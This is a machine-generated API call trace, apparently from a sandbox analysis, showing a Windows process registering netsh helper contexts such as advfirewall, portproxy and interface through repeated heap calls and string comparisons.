	[0252.429] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.429] RegisterContext () returned 0x0
	[0252.431] _wcsicmp (_String1="ras", _String2="interface") returned 9
	[0252.431] _wcsicmp (_String1="ras", _String2="interface") returned 9
	[0252.431] GetProcessHeap () returned 0x1e025de0000
	[0252.431] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe0) returned 0x1e025de42e0
	[0252.431] GetProcessHeap () returned 0x1e025de0000
	[0252.431] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de4430) returned 1
	[0252.511] RegisterContext () returned 0x0
	[0252.511] GetProcessHeap () returned 0x1e025de0000
	[0252.511] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025e11c10
	[0252.511] GetProcessHeap () returned 0x1e025de0000
	[0252.511] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.511] RegisterContext () returned 0x0
	[0252.512] _wcsicmp (_String1="ipv6", _String2="ip") returned 118
	[0252.512] _wcsicmp (_String1="ipv6", _String2="ip") returned 118
	[0252.512] GetProcessHeap () returned 0x1e025de0000
	[0252.512] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe0) returned 0x1e025dfd5e0
	[0252.512] GetProcessHeap () returned 0x1e025de0000
	[0252.512] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11c10) returned 1
	[0252.512] RegisterContext () returned 0x0
	[0252.513] _wcsicmp (_String1="aaaa", _String2="ip") returned -8
	[0252.513] _wcsicmp (_String1="aaaa", _String2="ipv6") returned -8
	[0252.513] _wcsicmp (_String1="aaaa", _String2="ip") returned -8
	[0252.513] GetProcessHeap () returned 0x1e025de0000
	[0252.513] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x150) returned 0x1e025e31df0
	[0252.513] GetProcessHeap () returned 0x1e025de0000
	[0252.513] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dfd5e0) returned 1
	[0252.513] RegisterContext () returned 0x0
	[0252.514] _wcsicmp (_String1="diagnostics", _String2="aaaa") returned 3
	[0252.514] _wcsicmp (_String1="diagnostics", _String2="ip") returned -5
	[0252.514] _wcsicmp (_String1="diagnostics", _String2="ipv6") returned -5
	[0252.514] _wcsicmp (_String1="diagnostics", _String2="aaaa") returned 3
	[0252.514] _wcsicmp (_String1="diagnostics", _String2="ip") returned -5
	[0252.514] GetProcessHeap () returned 0x1e025de0000
	[0252.514] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1c0) returned 0x1e025e0f780
	[0252.514] GetProcessHeap () returned 0x1e025de0000
	[0252.514] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e31df0) returned 1
	[0252.514] RegisterContext () returned 0x0
	[0252.514] _wcsicmp (_String1="advfirewall", _String2="interface") returned -8
	[0252.514] _wcsicmp (_String1="advfirewall", _String2="ras") returned -17
	[0252.514] _wcsicmp (_String1="advfirewall", _String2="interface") returned -8
	[0252.514] GetProcessHeap () returned 0x1e025de0000
	[0252.514] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x150) returned 0x1e025e31df0
	[0252.514] GetProcessHeap () returned 0x1e025de0000
	[0252.514] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de42e0) returned 1
	[0252.514] RegisterContext () returned 0x0
	[0252.514] GetProcessHeap () returned 0x1e025de0000
	[0252.514] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025e11c10
	[0252.514] GetProcessHeap () returned 0x1e025de0000
	[0252.514] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.515] RegisterContext () returned 0x0
	[0252.515] _wcsicmp (_String1="firewall", _String2="consec") returned 3
	[0252.515] _wcsicmp (_String1="firewall", _String2="consec") returned 3
	[0252.515] GetProcessHeap () returned 0x1e025de0000
	[0252.515] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe0) returned 0x1e025de42e0
	[0252.515] GetProcessHeap () returned 0x1e025de0000
	[0252.515] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11c10) returned 1
	[0252.515] RegisterContext () returned 0x0
	[0252.515] _wcsicmp (_String1="monitor", _String2="consec") returned 10
	[0252.515] _wcsicmp (_String1="monitor", _String2="firewall") returned 7
	[0252.515] _wcsicmp (_String1="monitor", _String2="consec") returned 10
	[0252.515] _wcsicmp (_String1="monitor", _String2="firewall") returned 7
	[0252.515] GetProcessHeap () returned 0x1e025de0000
	[0252.515] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x150) returned 0x1e025e08110
	[0252.515] GetProcessHeap () returned 0x1e025de0000
	[0252.515] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de42e0) returned 1
	[0252.515] RegisterContext () returned 0x0
	[0252.515] _wcsicmp (_String1="mainmode", _String2="consec") returned 10
	[0252.515] _wcsicmp (_String1="mainmode", _String2="firewall") returned 7
	[0252.515] _wcsicmp (_String1="mainmode", _String2="monitor") returned -14
	[0252.515] _wcsicmp (_String1="mainmode", _String2="consec") returned 10
	[0252.515] _wcsicmp (_String1="mainmode", _String2="firewall") returned 7
	[0252.515] _wcsicmp (_String1="mainmode", _String2="monitor") returned -14
	[0252.515] GetProcessHeap () returned 0x1e025de0000
	[0252.515] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1c0) returned 0x1e025e32f60
	[0252.515] GetProcessHeap () returned 0x1e025de0000
	[0252.515] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e08110) returned 1
	[0252.515] RegisterContext () returned 0x0
	[0252.515] _wcsicmp (_String1="dhcpclient", _String2="advfirewall") returned 3
	[0252.515] _wcsicmp (_String1="dhcpclient", _String2="interface") returned -5
	[0252.516] _wcsicmp (_String1="dhcpclient", _String2="ras") returned -14
	[0252.516] _wcsicmp (_String1="dhcpclient", _String2="advfirewall") returned 3
	[0252.516] _wcsicmp (_String1="dhcpclient", _String2="interface") returned -5
	[0252.516] GetProcessHeap () returned 0x1e025de0000
	[0252.516] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1c0) returned 0x1e025e33130
	[0252.516] GetProcessHeap () returned 0x1e025de0000
	[0252.516] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e31df0) returned 1
	[0252.516] RegisterContext () returned 0x0
	[0252.516] _wcsicmp (_String1="lan", _String2="advfirewall") returned 11
	[0252.516] _wcsicmp (_String1="lan", _String2="dhcpclient") returned 8
	[0252.516] _wcsicmp (_String1="lan", _String2="interface") returned 3
	[0252.516] _wcsicmp (_String1="lan", _String2="ras") returned -6
	[0252.516] _wcsicmp (_String1="lan", _String2="advfirewall") returned 11
	[0252.516] _wcsicmp (_String1="lan", _String2="dhcpclient") returned 8
	[0252.516] _wcsicmp (_String1="lan", _String2="interface") returned 3
	[0252.516] _wcsicmp (_String1="lan", _String2="ras") returned -6
	[0252.516] GetProcessHeap () returned 0x1e025de0000
	[0252.516] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x230) returned 0x1e025e33300
	[0252.516] GetProcessHeap () returned 0x1e025de0000
	[0252.516] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33130) returned 1
	[0252.517] RegisterContext () returned 0x0
	[0252.517] _wcsicmp (_String1="firewall", _String2="advfirewall") returned 5
	[0252.517] _wcsicmp (_String1="firewall", _String2="dhcpclient") returned 2
	[0252.517] _wcsicmp (_String1="firewall", _String2="interface") returned -3
	[0252.517] _wcsicmp (_String1="firewall", _String2="lan") returned -6
	[0252.517] _wcsicmp (_String1="firewall", _String2="ras") returned -12
	[0252.517] _wcsicmp (_String1="firewall", _String2="advfirewall") returned 5
	[0252.517] _wcsicmp (_String1="firewall", _String2="dhcpclient") returned 2
	[0252.517] _wcsicmp (_String1="firewall", _String2="interface") returned -3
	[0252.517] GetProcessHeap () returned 0x1e025de0000
	[0252.517] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x2a0) returned 0x1e025e40cf0
	[0252.517] GetProcessHeap () returned 0x1e025de0000
	[0252.517] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33300) returned 1
	[0252.517] RegisterContext () returned 0x0
	[0252.517] _wcsicmp (_String1="bridge", _String2="advfirewall") returned 1
	[0252.517] _wcsicmp (_String1="bridge", _String2="dhcpclient") returned -2
	[0252.517] _wcsicmp (_String1="bridge", _String2="firewall") returned -4
	[0252.517] _wcsicmp (_String1="bridge", _String2="interface") returned -7
	[0252.517] _wcsicmp (_String1="bridge", _String2="lan") returned -10
	[0252.517] _wcsicmp (_String1="bridge", _String2="ras") returned -16
	[0252.517] _wcsicmp (_String1="bridge", _String2="advfirewall") returned 1
	[0252.517] _wcsicmp (_String1="bridge", _String2="dhcpclient") returned -2
	[0252.517] GetProcessHeap () returned 0x1e025de0000
	[0252.517] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x310) returned 0x1e025e33b60
	[0252.518] GetProcessHeap () returned 0x1e025de0000
	[0252.518] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e40cf0) returned 1
	[0252.518] RegisterContext () returned 0x0
	[0252.518] _wcsicmp (_String1="netio", _String2="advfirewall") returned 13
	[0252.518] _wcsicmp (_String1="netio", _String2="bridge") returned 12
	[0252.518] _wcsicmp (_String1="netio", _String2="dhcpclient") returned 10
	[0252.518] _wcsicmp (_String1="netio", _String2="firewall") returned 8
	[0252.518] _wcsicmp (_String1="netio", _String2="interface") returned 5
	[0252.518] _wcsicmp (_String1="netio", _String2="lan") returned 2
	[0252.518] _wcsicmp (_String1="netio", _String2="ras") returned -4
	[0252.518] _wcsicmp (_String1="netio", _String2="advfirewall") returned 13
	[0252.518] _wcsicmp (_String1="netio", _String2="bridge") returned 12
	[0252.518] _wcsicmp (_String1="netio", _String2="dhcpclient") returned 10
	[0252.518] _wcsicmp (_String1="netio", _String2="firewall") returned 8
	[0252.518] _wcsicmp (_String1="netio", _String2="interface") returned 5
	[0252.518] _wcsicmp (_String1="netio", _String2="lan") returned 2
	[0252.518] _wcsicmp (_String1="netio", _String2="ras") returned -4
	[0252.518] GetProcessHeap () returned 0x1e025de0000
	[0252.518] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x380) returned 0x1e025e33130
	[0252.518] GetProcessHeap () returned 0x1e025de0000
	[0252.518] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33b60) returned 1
	[0252.518] RegisterContext () returned 0x0
	[0252.518] _wcsicmp (_String1="dnsclient", _String2="advfirewall") returned 3
	[0252.518] _wcsicmp (_String1="dnsclient", _String2="bridge") returned 2
	[0252.518] _wcsicmp (_String1="dnsclient", _String2="dhcpclient") returned 6
	[0252.518] _wcsicmp (_String1="dnsclient", _String2="firewall") returned -2
	[0252.519] _wcsicmp (_String1="dnsclient", _String2="interface") returned -5
	[0252.519] _wcsicmp (_String1="dnsclient", _String2="lan") returned -8
	[0252.519] _wcsicmp (_String1="dnsclient", _String2="netio") returned -10
	[0252.519] _wcsicmp (_String1="dnsclient", _String2="ras") returned -14
	[0252.519] _wcsicmp (_String1="dnsclient", _String2="advfirewall") returned 3
	[0252.519] _wcsicmp (_String1="dnsclient", _String2="bridge") returned 2
	[0252.519] _wcsicmp (_String1="dnsclient", _String2="dhcpclient") returned 6
	[0252.519] _wcsicmp (_String1="dnsclient", _String2="firewall") returned -2
	[0252.519] GetProcessHeap () returned 0x1e025de0000
	[0252.519] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x3f0) returned 0x1e025e30200
	[0252.519] GetProcessHeap () returned 0x1e025de0000
	[0252.519] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33130) returned 1
	[0252.519] RegisterContext () returned 0x0
	[0252.519] _wcsicmp (_String1="namespace", _String2="advfirewall") returned 13
	[0252.519] _wcsicmp (_String1="namespace", _String2="bridge") returned 12
	[0252.519] _wcsicmp (_String1="namespace", _String2="dhcpclient") returned 10
	[0252.519] _wcsicmp (_String1="namespace", _String2="dnsclient") returned 10
	[0252.519] _wcsicmp (_String1="namespace", _String2="firewall") returned 8
	[0252.519] _wcsicmp (_String1="namespace", _String2="interface") returned 5
	[0252.519] _wcsicmp (_String1="namespace", _String2="lan") returned 2
	[0252.519] _wcsicmp (_String1="namespace", _String2="netio") returned -4
	[0252.519] _wcsicmp (_String1="namespace", _String2="ras") returned -4
	[0252.573] _wcsicmp (_String1="namespace", _String2="advfirewall") returned 13
	[0252.573] _wcsicmp (_String1="namespace", _String2="bridge") returned 12
	[0252.573] _wcsicmp (_String1="namespace", _String2="dhcpclient") returned 10
	[0252.573] _wcsicmp (_String1="namespace", _String2="dnsclient") returned 10
	[0252.573] _wcsicmp (_String1="namespace", _String2="firewall") returned 8
	[0252.573] _wcsicmp (_String1="namespace", _String2="interface") returned 5
	[0252.573] _wcsicmp (_String1="namespace", _String2="lan") returned 2
	[0252.573] _wcsicmp (_String1="namespace", _String2="netio") returned -4
	[0252.573] GetProcessHeap () returned 0x1e025de0000
	[0252.573] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x460) returned 0x1e025e33130
	[0252.573] GetProcessHeap () returned 0x1e025de0000
	[0252.573] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30200) returned 1
	[0252.573] RegisterContext () returned 0x0
	[0252.573] GetProcessHeap () returned 0x1e025de0000
	[0252.573] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025e11c10
	[0252.573] GetProcessHeap () returned 0x1e025de0000
	[0252.573] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.573] RegisterContext () returned 0x0
	[0252.573] _wcsicmp (_String1="ipv6", _String2="ipv4") returned 2
	[0252.573] _wcsicmp (_String1="ipv6", _String2="ipv4") returned 2
	[0252.573] GetProcessHeap () returned 0x1e025de0000
	[0252.573] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe0) returned 0x1e025de42e0
	[0252.573] GetProcessHeap () returned 0x1e025de0000
	[0252.573] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11c10) returned 1
	[0252.574] RegisterContext () returned 0x0
	[0252.574] _wcsicmp (_String1="6to4", _String2="ipv4") returned -51
	[0252.574] _wcsicmp (_String1="6to4", _String2="ipv6") returned -51
	[0252.574] _wcsicmp (_String1="6to4", _String2="ipv4") returned -51
	[0252.574] GetProcessHeap () returned 0x1e025de0000
	[0252.574] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x150) returned 0x1e025e31df0
	[0252.574] GetProcessHeap () returned 0x1e025de0000
	[0252.574] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de42e0) returned 1
	[0252.574] RegisterContext () returned 0x0
	[0252.574] _wcsicmp (_String1="isatap", _String2="6to4") returned 51
	[0252.574] _wcsicmp (_String1="isatap", _String2="ipv4") returned 3
	[0252.574] _wcsicmp (_String1="isatap", _String2="ipv6") returned 3
	[0252.574] _wcsicmp (_String1="isatap", _String2="6to4") returned 51
	[0252.574] _wcsicmp (_String1="isatap", _String2="ipv4") returned 3
	[0252.574] _wcsicmp (_String1="isatap", _String2="ipv6") returned 3
	[0252.574] GetProcessHeap () returned 0x1e025de0000
	[0252.574] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1c0) returned 0x1e025e40cf0
	[0252.574] GetProcessHeap () returned 0x1e025de0000
	[0252.574] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e31df0) returned 1
	[0252.574] RegisterContext () returned 0x0
	[0252.574] _wcsicmp (_String1="teredo", _String2="6to4") returned 62
	[0252.574] _wcsicmp (_String1="teredo", _String2="ipv4") returned 11
	[0252.574] _wcsicmp (_String1="teredo", _String2="ipv6") returned 11
	[0252.574] _wcsicmp (_String1="teredo", _String2="isatap") returned 11
	[0252.574] _wcsicmp (_String1="teredo", _String2="6to4") returned 62
	[0252.574] _wcsicmp (_String1="teredo", _String2="ipv4") returned 11
	[0252.574] _wcsicmp (_String1="teredo", _String2="ipv6") returned 11
	[0252.574] _wcsicmp (_String1="teredo", _String2="isatap") returned 11
	[0252.574] GetProcessHeap () returned 0x1e025de0000
	[0252.574] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x230) returned 0x1e025e33b60
	[0252.574] GetProcessHeap () returned 0x1e025de0000
	[0252.574] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e40cf0) returned 1
	[0252.575] RegisterContext () returned 0x0
	[0252.575] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58
	[0252.575] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7
	[0252.575] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7
	[0252.575] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7
	[0252.575] _wcsicmp (_String1="portproxy", _String2="teredo") returned -4
	[0252.575] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58
	[0252.575] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7
	[0252.575] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7
	[0252.575] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7
	[0252.576] _wcsicmp (_String1="portproxy", _String2="teredo") returned -4
	[0252.576] GetProcessHeap () returned 0x1e025de0000
	[0252.576] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x2a0) returned 0x1e025e40cf0
	[0252.576] GetProcessHeap () returned 0x1e025de0000
	[0252.576] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33b60) returned 1
	[0252.576] RegisterContext () returned 0x0
	[0252.576] GetProcessHeap () returned 0x1e025de0000
	[0252.576] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025e11c10
	[0252.576] GetProcessHeap () returned 0x1e025de0000
	[0252.576] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.576] RegisterContext () returned 0x0
	[0252.576] _wcsicmp (_String1="isatap", _String2="6to4") returned 51
	[0252.576] _wcsicmp (_String1="isatap", _String2="6to4") returned 51
	[0252.576] GetProcessHeap () returned 0x1e025de0000
	[0252.576] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe0) returned 0x1e025de42e0
	[0252.576] GetProcessHeap () returned 0x1e025de0000
	[0252.576] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11c10) returned 1
	[0252.576] RegisterContext () returned 0x0
	[0252.576] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58
	[0252.576] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7
	[0252.576] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7
	[0252.576] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7
	[0252.577] _wcsicmp (_String1="portproxy", _String2="portproxy") returned 0
	[0252.577] RegisterContext () returned 0x0
	[0252.577] _wcsicmp (_String1="httpstunnel", _String2="6to4") returned 50
	[0252.577] _wcsicmp (_String1="httpstunnel", _String2="ipv4") returned -1
	[0252.577] _wcsicmp (_String1="httpstunnel", _String2="ipv6") returned -1
	[0252.577] _wcsicmp (_String1="httpstunnel", _String2="isatap") returned -1
	[0252.577] _wcsicmp (_String1="httpstunnel", _String2="portproxy") returned -8
	[0252.577] _wcsicmp (_String1="httpstunnel", _String2="teredo") returned -12
	[0252.577] _wcsicmp (_String1="httpstunnel", _String2="6to4") returned 50
	[0252.577] _wcsicmp (_String1="httpstunnel", _String2="ipv4") returned -1
	[0252.577] GetProcessHeap () returned 0x1e025de0000
	[0252.577] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x310) returned 0x1e025e33b60
	[0252.577] GetProcessHeap () returned 0x1e025de0000
	[0252.577] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e40cf0) returned 1
	[0252.577] RegisterContext () returned 0x0
	[0252.577] _wcsicmp (_String1="tcp", _String2="6to4") returned 62
	[0252.577] _wcsicmp (_String1="tcp", _String2="httpstunnel") returned 12
	[0252.577] _wcsicmp (_String1="tcp", _String2="ipv4") returned 11
	[0252.577] _wcsicmp (_String1="tcp", _String2="ipv6") returned 11
	[0252.577] _wcsicmp (_String1="tcp", _String2="isatap") returned 11
	[0252.577] _wcsicmp (_String1="tcp", _String2="portproxy") returned 4
	[0252.577] _wcsicmp (_String1="tcp", _String2="teredo") returned -2
	[0252.577] _wcsicmp (_String1="tcp", _String2="6to4") returned 62
	[0252.577] _wcsicmp (_String1="tcp", _String2="httpstunnel") returned 12
	[0252.577] _wcsicmp (_String1="tcp", _String2="ipv4") returned 11
	[0252.577] _wcsicmp (_String1="tcp", _String2="ipv6") returned 11
	[0252.577] _wcsicmp (_String1="tcp", _String2="isatap") returned 11
	[0252.577] _wcsicmp (_String1="tcp", _String2="portproxy") returned 4
	[0252.577] _wcsicmp (_String1="tcp", _String2="teredo") returned -2
	[0252.577] GetProcessHeap () returned 0x1e025de0000
	[0252.577] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x380) returned 0x1e025e30200
	[0252.578] GetProcessHeap () returned 0x1e025de0000
	[0252.578] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33b60) returned 1
	[0252.578] RegisterContext () returned 0x0
	[0252.578] _wcsicmp (_String1="trace", _String2="advfirewall") returned 19
	[0252.578] _wcsicmp (_String1="trace", _String2="bridge") returned 18
	[0252.578] _wcsicmp (_String1="trace", _String2="dhcpclient") returned 16
	[0252.578] _wcsicmp (_String1="trace", _String2="dnsclient") returned 16
	[0252.578] _wcsicmp (_String1="trace", _String2="firewall") returned 14
	[0252.578] _wcsicmp (_String1="trace", _String2="interface") returned 11
	[0252.578] _wcsicmp (_String1="trace", _String2="lan") returned 8
	[0252.578] _wcsicmp (_String1="trace", _String2="namespace") returned 6
	[0252.578] _wcsicmp (_String1="trace", _String2="netio") returned 6
	[0252.578] _wcsicmp (_String1="trace", _String2="ras") returned 2
	[0252.578] _wcsicmp (_String1="trace", _String2="advfirewall") returned 19
	[0252.578] _wcsicmp (_String1="trace", _String2="bridge") returned 18
	[0252.578] _wcsicmp (_String1="trace", _String2="dhcpclient") returned 16
	[0252.578] _wcsicmp (_String1="trace", _String2="dnsclient") returned 16
	[0252.578] _wcsicmp (_String1="trace", _String2="firewall") returned 14
	[0252.578] _wcsicmp (_String1="trace", _String2="interface") returned 11
	[0252.578] _wcsicmp (_String1="trace", _String2="lan") returned 8
	[0252.578] _wcsicmp (_String1="trace", _String2="namespace") returned 6
	[0252.578] _wcsicmp (_String1="trace", _String2="netio") returned 6
	[0252.578] _wcsicmp (_String1="trace", _String2="ras") returned 2
	[0252.578] GetProcessHeap () returned 0x1e025de0000
	[0252.578] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x4d0) returned 0x1e025e30590
	[0252.578] GetProcessHeap () returned 0x1e025de0000
	[0252.578] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33130) returned 1
	[0252.579] RegisterContext () returned 0x0
	[0252.579] _wcsicmp (_String1="http", _String2="advfirewall") returned 7
	[0252.579] _wcsicmp (_String1="http", _String2="bridge") returned 6
	[0252.579] _wcsicmp (_String1="http", _String2="dhcpclient") returned 4
	[0252.579] _wcsicmp (_String1="http", _String2="dnsclient") returned 4
	[0252.579] _wcsicmp (_String1="http", _String2="firewall") returned 2
	[0252.579] _wcsicmp (_String1="http", _String2="interface") returned -1
	[0252.579] _wcsicmp (_String1="http", _String2="lan") returned -4
	[0252.579] _wcsicmp (_String1="http", _String2="namespace") returned -6
	[0252.579] _wcsicmp (_String1="http", _String2="netio") returned -6
	[0252.579] _wcsicmp (_String1="http", _String2="ras") returned -10
	[0252.579] _wcsicmp (_String1="http", _String2="trace") returned -12
	[0252.579] _wcsicmp (_String1="http", _String2="advfirewall") returned 7
	[0252.579] _wcsicmp (_String1="http", _String2="bridge") returned 6
	[0252.579] _wcsicmp (_String1="http", _String2="dhcpclient") returned 4
	[0252.579] _wcsicmp (_String1="http", _String2="dnsclient") returned 4
	[0252.579] _wcsicmp (_String1="http", _String2="firewall") returned 2
	[0252.579] _wcsicmp (_String1="http", _String2="interface") returned -1
	[0252.579] GetProcessHeap () returned 0x1e025de0000
	[0252.579] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x540) returned 0x1e025e30a70
	[0252.579] GetProcessHeap () returned 0x1e025de0000
	[0252.579] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30590) returned 1
	[0252.580] RegisterContext () returned 0x0
	[0252.580] _wcsicmp (_String1="ipsec", _String2="advfirewall") returned 8
	[0252.580] _wcsicmp (_String1="ipsec", _String2="bridge") returned 7
	[0252.580] _wcsicmp (_String1="ipsec", _String2="dhcpclient") returned 5
	[0252.580] _wcsicmp (_String1="ipsec", _String2="dnsclient") returned 5
	[0252.580] _wcsicmp (_String1="ipsec", _String2="firewall") returned 3
	[0252.580] _wcsicmp (_String1="ipsec", _String2="http") returned 1
	[0252.580] _wcsicmp (_String1="ipsec", _String2="interface") returned 2
	[0252.580] _wcsicmp (_String1="ipsec", _String2="lan") returned -3
	[0252.580] _wcsicmp (_String1="ipsec", _String2="namespace") returned -5
	[0252.580] _wcsicmp (_String1="ipsec", _String2="netio") returned -5
	[0252.580] _wcsicmp (_String1="ipsec", _String2="ras") returned -9
	[0252.580] _wcsicmp (_String1="ipsec", _String2="trace") returned -11
	[0252.580] _wcsicmp (_String1="ipsec", _String2="advfirewall") returned 8
	[0252.580] _wcsicmp (_String1="ipsec", _String2="bridge") returned 7
	[0252.580] _wcsicmp (_String1="ipsec", _String2="dhcpclient") returned 5
	[0252.580] _wcsicmp (_String1="ipsec", _String2="dnsclient") returned 5
	[0252.580] _wcsicmp (_String1="ipsec", _String2="firewall") returned 3
	[0252.580] _wcsicmp (_String1="ipsec", _String2="http") returned 1
	[0252.580] _wcsicmp (_String1="ipsec", _String2="interface") returned 2
	[0252.580] _wcsicmp (_String1="ipsec", _String2="lan") returned -3
	[0252.580] GetProcessHeap () returned 0x1e025de0000
	[0252.580] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x5b0) returned 0x1e025e376c0
	[0252.580] GetProcessHeap () returned 0x1e025de0000
	[0252.580] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30a70) returned 1
	[0252.581] RegisterContext () returned 0x0
	[0252.581] GetProcessHeap () returned 0x1e025de0000
	[0252.581] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025e11c10
	[0252.581] GetProcessHeap () returned 0x1e025de0000
	[0252.581] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.581] RegisterContext () returned 0x0
	[0252.581] _wcsicmp (_String1="dynamic", _String2="static") returned -15
	[0252.581] _wcsicmp (_String1="dynamic", _String2="static") returned -15
	[0252.581] GetProcessHeap () returned 0x1e025de0000
	[0252.581] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe0) returned 0x1e025dfd5e0
	[0252.581] GetProcessHeap () returned 0x1e025de0000
	[0252.581] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11c10) returned 1
	[0252.581] RegisterContext () returned 0x0
	[0252.582] _wcsicmp (_String1="static", _String2="dynamic") returned 15
	[0252.582] _wcsicmp (_String1="static", _String2="static") returned 0
	[0252.582] RegisterContext () returned 0x0
	[0252.582] _wcsicmp (_String1="dynamic", _String2="dynamic") returned 0
	[0252.582] RegisterContext () returned 0x0
	[0252.582] _wcsicmp (_String1="wfp", _String2="advfirewall") returned 22
	[0252.582] _wcsicmp (_String1="wfp", _String2="bridge") returned 21
	[0252.582] _wcsicmp (_String1="wfp", _String2="dhcpclient") returned 19
	[0252.582] _wcsicmp (_String1="wfp", _String2="dnsclient") returned 19
	[0252.582] _wcsicmp (_String1="wfp", _String2="firewall") returned 17
	[0252.582] _wcsicmp (_String1="wfp", _String2="http") returned 15
	[0252.582] _wcsicmp (_String1="wfp", _String2="interface") returned 14
	[0252.582] _wcsicmp (_String1="wfp", _String2="ipsec") returned 14
	[0252.582] _wcsicmp (_String1="wfp", _String2="lan") returned 11
	[0252.582] _wcsicmp (_String1="wfp", _String2="namespace") returned 9
	[0252.582] _wcsicmp (_String1="wfp", _String2="netio") returned 9
